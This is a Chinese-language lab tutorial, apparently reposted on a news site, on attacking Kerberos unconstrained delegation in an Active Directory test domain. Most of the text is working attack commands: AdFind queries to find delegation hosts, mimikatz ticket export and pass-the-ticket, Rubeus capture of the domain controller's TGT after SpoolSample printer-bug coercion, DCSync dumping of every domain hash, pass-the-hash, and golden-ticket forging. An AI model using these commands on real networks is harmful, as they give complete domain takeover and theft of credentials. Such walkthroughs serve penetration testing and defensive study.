打开网易新闻 查看精彩图片

前言:

域委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户的权限在域内开展活动。委派主要分为非约束委派和约束委派两种方式,还有一种是基于资源的约束委派。本篇文章,小星将和大家分享非约束委派的利用过程。

01非约束委派流程

非约束委派的请求过程如图,当service1的服务账号开启了非约束委派后,user访问service1时,service1会将user的TGT保存到内存中,然后service1就可以利用TGT以user的身份访问去访问域中的任何user可以访问的服务。

打开网易新闻 查看精彩图片

详细的流程可以查看微软手册。

链接如下:[MS-SFU]: Protocol Overview | Microsoft Learn

02非约束委派攻击流程
域环境

当前域:test.com

域控:dc-2016(IP:10.10.90.10) test\administrator

域内主机(配置了非约束委派):

web-2016(IP:10.10.90.20)test\mssql

1. 配置和查找非约束委派主机:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通⽤户默认是不含此功能。现在我们将web-2016这个主机⽤户设置为非约束委派。

打开网易新闻 查看精彩图片

2. 查找域内非约束委派用户和计算机:

#查找域中配置非约束委派的用户,过滤出cn和distinguishedName属性。

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

#查找域中配置非约束委派的主机,过滤出cn和distinguishedName属性。

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

打开网易新闻 查看精彩图片

3. 查询主机web-2016,发现被设置了非约束委派。使⽤dc或者域管去登录 web-2016,可在 web-2016上留存票据凭证,随后让域控模拟访问被设置了⾮约束委派的机器。

Enter-PSSession -ComputerName web-2016

打开网易新闻 查看精彩图片

4. 域控模拟访问被设置了约束委派的机器后,此时域管理员的 TGT 已经缓存在 web-2016机器上了,域管的凭证也已缓存于⽬标机器。使⽤域内机器登录本地管理员,导出相关凭证、清除⼀下当前票据缓存。

mimikatz.exe "privilege::debug" "kerberos::purge" "exit"

打开网易新闻 查看精彩图片

5.使⽤mimikatz以dump所有票据。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

打开网易新闻 查看精彩图片

6.此时[0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi就是域管理员administrator的TGT。

打开网易新闻 查看精彩图片

7.访问域控文件失败。

打开网易新闻 查看精彩图片

8. 使用mimikatz通过ptt将TGT注入到当前会话中。

kerberos::ptt [0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi

打开网易新闻 查看精彩图片

9.成功访问域控。

打开网易新闻 查看精彩图片

03非约束委派+Spooler打印机服务

一般情况下,高权限用户是不会主动访问我们的,所以说上述情况出现机率较少。在特定情况下,我们可以利用splooer服务让域控主动连接。

默认开启Splooer服务,域用户可以利用windows打印系统远程协议(MS-RPRN)来强制任何运行了Splooer服务的域内机器,通过kerberos或ntlm对任何目标进行身份验证,这就是该攻击方式的原理。

1.如下所示,Splooer服务默认是已开启,并以system权限运行。

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

2.在web-2016上以本地管理员身份运行Rubeus,对域控机器账户的登录进行监听。

Rubeus.exe monitor /interval:1 /filteruser:dc-2016$

#我们可以用Rubeus来监听EvevtID为4624的时间,这样可以第一时间截取到TGT

# /interval:1 设置监听时间为1秒

# /filteruser 监听对象为域控,注意后面有$,如果不设置监听对象就监听所有的TGT

#dc-2016$为域控主机的名字加$

注意:Rubeus.exe需要以本地管理员身份运行,否则会报错。

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

3.利用SpoolSample工具强制让域控(dc-2026)向本机(web-2016)验证身份。

SpoolSample.exedc-2016 web-2016

这里要注意非约束委派机器是需要关闭防火墙,否则以域用户的身份执行SpoolSample.exe会返回下述错误,无法接收到tickets。

打开网易新闻 查看精彩图片

4.关闭防火墙后再次运行。

打开网易新闻 查看精彩图片

5.切换到web-2016本地管理员,Rubeus已经捕获到了域控的TGT。该TGT是base64的,有两种方法可以导入到内存中。此处base64字符串导入票据需要进行处理,去除空格和换行符\n

打开网易新闻 查看精彩图片

方法1:

1.使用powershell的base64转换功能。

[IO.File]::WriteAllBytes("dc-2016.kirbi",[Convert]::FromBase64String("捕获到的base64编码"))

打开网易新闻 查看精彩图片

2. 执行命令后,会在当前目录下生成dc-2016.kirbi票据,使用mimikatz导入票据即可。

kerberos::ptt dc-2016.kirbi

kerberos::list

打开网易新闻 查看精彩图片

方法2:

1.使用Rubeus导入TGT。

Rubeus.exe ptt /ticket:base64

打开网易新闻 查看精彩图片

2. 查看票据,此时票据已经成功写入到内存中,但是依然无法访问域控的文件。

打开网易新闻 查看精彩图片

3.此处生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以此处我们可以使用命令来导出域内账号hash。

4. 以本地管理员权限运行mimikatz进行dcsync,成功获取域内账号ntlm哈希值。

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

打开网易新闻 查看精彩图片

5.如果当前用户拥有管理员权限,我们可以使用PTH攻击。

mimikatz.exe"privilege::debug""sekurlsa::pth/user:administrator/domain:test.com/ntlm:0ebc63860c8167877a03a68df53b3bf1"

#成功后会弹出一个cmd窗口,此时和域控制器建立ipc无需密码

打开网易新闻 查看精彩图片

6. 如果是普通的域用户,可使用黄金票据,

mimikat.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-1348005725-2953300805-2723764712 /krbtgt:61e6be9a1ae07871c40cbd8e18181128 /ptt"

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片